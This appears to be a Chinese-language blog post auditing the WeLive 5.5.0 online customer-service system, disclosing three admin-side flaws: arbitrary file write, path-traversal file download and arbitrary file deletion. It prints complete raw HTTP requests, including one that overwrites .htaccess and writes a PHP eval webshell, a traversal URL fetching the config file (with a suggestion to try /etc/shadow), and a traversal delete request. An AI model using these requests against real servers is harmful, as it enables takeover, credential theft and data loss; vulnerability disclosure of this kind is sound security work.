某月某日的某客服系统代码审计

  • A+

WeLive在线客服系统5.5.0代码审计

背景

某月某日在家中闲来无事,浏览源码便下载来审,遇到的问题多存在在敏感操作的功能点上,这也是审计的关注点。

漏洞名称:WeLive在线客服系统5.5.0版本文件任意写入漏洞

版本:welive_5.5.0

漏洞危害:高危

漏洞描述:

WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。

WeLive_5.5.0版本存在文件写入漏洞,攻击者可利用该漏洞写入任意脚本文件,进而获取系统权限。

代码分析:

源码中/admin/controllers/language.php中第92行之后save()函数负责处理保存语言文件。

image20200416050554276.png

在源码第111-112行可以看到用了两个函数:fopen()、fputs()。

其$filename和$filecontent可控,可以看到第95行代码,虽然$filename经过了basename()函数处理,不能使用../../跳目录,但是拼接了lang_path路径,依旧可以在language目录下写入文件。

默认该CMS在/language/目录下存在.htaccess文件限制目录文件访问,如果想要getshell,首先需要弄过该漏洞写入文件覆盖掉这个文件内容。

image20200416053101944.png

在POST数据包中,给filecontent传入我们要写入的PHP代码,就可以写入到指定的文件中去。

本地复现操作:

首先登录后台管理员账号。

http://www.keefe.is/admin/

构造数据包,这里直接先覆盖.htaccess文件,filecontent写为空,再覆盖一个English.php语言文件,filecontent写为构造的PHP代码:

```
POST /admin/index.php?c=language&a=save HTTP/1.1
Host: www.keefe.is
Content-Length: 31
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.keefe.is
Referer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3
Connection: close

filename=.htaccess&filecontent=
```

```
POST /admin/index.php?c=language&a=save HTTP/1.1
Host: www.keefe.is
Content-Length: 41
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.keefe.is
Referer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3
Connection: close

filename=English.php&filecontent=<?php @eval($_POST[a]); ?>
```

发送完两个数据包直接尝试用蚁剑连接。成功获取权限。

image20200416053815423.png

漏洞名称:WeLive在线客服系统5.5.0版本任意文件下载漏洞

版本:welive_5.5.0

漏洞危害:高危

漏洞描述:

WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。

WeLive_5.5.0版本存在任意文件下载漏洞,攻击者可以利用该漏洞获取敏感信息。

代码分析:

在源码中/admin/controllers/database.php中第40行代码使用了readfile()函数,该函数用来读取文件内容。

image20200416060822002.png

可以看到,第29行代码,$file变量可控,在当前函数传递的参数直接拼接路径和文件名,没有过滤,所以还可以跨目录读取文件。

本地复现操作:

首先登录后台管理员账号。

http://www.keefe.is/admin/

这里尝试下载/config/config.php该文件中保存着网站的数据库等重要的配置信息。

http://www.keefe.is/admin/index.php?c=database&a=ajax&action=download&file=../config/config.php

成功下载。

image20200416061756478.png

诸如/etc/shadow等这类重要的文件,如果说web的权限够大,都可以尝试下载到本地。

漏洞名称:WeLive在线客服系统5.5.0版本任意文件删除漏洞

版本:welive_5.5.0

漏洞危害:高危

漏洞描述:

WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。

WeLive_5.5.0版本存在任意文件删除漏洞,攻击者可利用该漏洞删除任意文件。

代码分析:

在源码中/admin/controllers/database.php中第57行代码使用了unlink()函数,该函数用来删除文件。

image20200416062801429.png

可以看到,第55行代码,$file变量可控,在当前函数传递的参数直接拼接路径和文件名,没有过滤,所以还可以跨目录删除文件。

本地复现操作:

首先登录后台管理员账号。

http://www.keefe.is/admin/

这里尝试删除web根目录下的test.txt

image20200416063003700.png
```
POST /admin/index.php?c=database&a=ajax&action=delete HTTP/1.1
Host: www.keefe.is
Content-Length: 16
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.keefe.is
Referer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3
Connection: close

file=../test.txt
```

成功删除。

image20200416063325564.png

image20200416063355790.png

相关推荐: Instagram应用代码执行漏洞详解(三)

在上一篇文章中,我们为读者介绍wildcopy型漏洞的利用方法等内容,在本文中,我们将继续为读者介绍Mozjpeg内部的内存管理器以及相关堆布局等知识。 Mozjpeg内部的内存管理器 现在,让我们回顾一下cinfo最重要的一个结构成员,具体如下所示: ```…